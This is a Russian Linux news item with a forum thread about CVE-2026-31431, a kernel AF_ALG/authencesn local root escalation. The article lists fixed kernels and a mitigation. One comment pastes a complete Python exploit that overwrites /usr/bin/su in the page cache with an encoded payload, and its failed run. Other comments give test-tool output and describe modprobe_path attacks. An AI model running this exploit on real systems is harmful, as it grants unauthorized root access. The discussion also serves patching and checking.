LINUX.ORG.RU

CVE-2026-31431: локальная уязвимость с повышением привилегий во всех современных Linux

 ,


3

5

Опубликованы подробности уязвимости «Copy Fail» CVE-2026-31431 (Base Score: 7.8 HIGH), которая обеспечивает локальное повышение привилегий до root любого локального пользователя без специальных средств и условий. Проблема проявляется начиная с ядра Linux 4.14, выпущенного в 2017 году, и устранена в ядрах 6.18.22, 6.19.12 и 7.0.

Уязвимость связана с ошибкой в authencesn — криптографическом шаблоне в ядре Linux — и эксплуатируется через интерфейс AF_ALG.

Доступен эксплоит с кодом на Python в 732 байт.

Для всех многопользовательских систем и изолированных сред рекомендовано обновление ядра на версию с откатом коммита 72548b093ee3 при выходе исправлений.

Эффективной мерой по закрытию уязвимости до обновления будет отключение модуля algif_aead в ядре. Его отключение не окажет заметного влияния на системы, где средства криптографии явно не настроены на работу исключительно через AF_ALG.

>>> Подробности

anonymous

Проверено: CrX ()
Последнее исправление: cetjs2 (всего исправлений: 3)

Я фигею с паникёров ЛОРа...

[faust@Ryzen53600 ~]$ cat /etc/altlinux-release && cat ./1.py && ./1.py
ALT Workstation K 11.3 (Nemorosa)
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")Traceback (most recent call last):
  File "/home/faust/./1.py", line 8, in <module>
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
      ^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission denied: '/usr/bin/su'
[faust@Ryzen53600 ~]$ 

drfaust ★★★★★
()

Пок-пок-пок, докер от всего защитит.

byko3y ★★★★★
()
Ответ на: комментарий от seiken

У нас и так все могут стать рутами, у кого акк есть, без всяких эксплоитов. ЛОЛ.

Не романтики вы!.. :)

Somebody ★★★★
()
Ответ на: комментарий от drfaust

увы, это проверочный скрипт кривой, а не отсутствие уязвимости. Оно может работать не только через su, но и иначе

GPFault ★★★
()

Android смартфоны можно рутовать этой уязвимостью? Или еще что-нибудь огороженное?

praseodim ★★★★★
()
Ответ на: комментарий от Radjah

Debian 12-й

lsmod | grep algi
algif_aead             16384  0
af_alg                 36864  1 algif_aead

Однако программа с https://github.com/tgies/copy-fail-c/tree/main

./vulnerable 
content of testfile fd=3 ---
init
---
[+] target:    testfile
[+] payload:   10 bytes (3 iterations)
[+] patch fd=3 off=0 bytes="vuln"
[+] patch ok
[+] patch fd=3 off=4 bytes="erab"
[+] patch ok
[+] patch fd=3 off=8 bytes="le"
[+] patch ok
[+] page cache mutated
content of testfile fd=3 ---
init
---
[+] not vulnerable :)

То ли уже пропатчили, то ли не знаю даже :)

praseodim ★★★★★
()
Ответ на: комментарий от Ja-Ja-Hey-Ho

В Fedora 43 эксплоит не заработал

И в Fedora 44.. Но вроде и не должен же был??..

Somebody ★★★★
()
Ответ на: комментарий от impfp

до антропика: шиндошс - РЕШЕТО!
после антропика: линкс - тоже РЕШЕТО!

РЕШЕТО - тоже РЕШЕТО! ;P ;))

P.S. Я проверял!.. ;P ;) ;)))

Somebody ★★★★
()
Ответ на: комментарий от Evgueni

Ядро его автоматом загрузит, если его попросить сделать то, для чего этот самый модуль нужен. modprobe для слабаков.

Ну, не совсем так. Ядро не загружает модули само - когда оно натыкается на неизвестный символ, механизм kmod/request_module() как раз запустит modprobe (через usermode-helper), передав ему идентификатор модуля (в данном случае - идентификатор сетевого протокола/семейства протоколов). И modprobe уже читает свои конфиги в /etc/modprobe.d, читает зависимости модулей и экспортируемые из них символы, и загружает нужные модули в правильном порядке.

На этом механизме (запуск modprobe из ядра) основаны и другие атаки, но там обычно практикуется переписывание modprobe_path (когда из-за какой-то уязвимости получается писать в чужую память - arbitrary address write), и вместо modprobe запускается уже какой-то другой процесс, от рута, естественно.

tiandrey ★★★★★
()
Ответ на: комментарий от tiandrey

Спасибо за разъяснение. В любом случае исправление уже прилетело.

Evgueni ★★★★★
()

Крипта приходит в нашу повседневную жизнь вместо ИИ.

poshat ★★★
()
Для того чтобы оставить комментарий войдите или зарегистрируйтесь.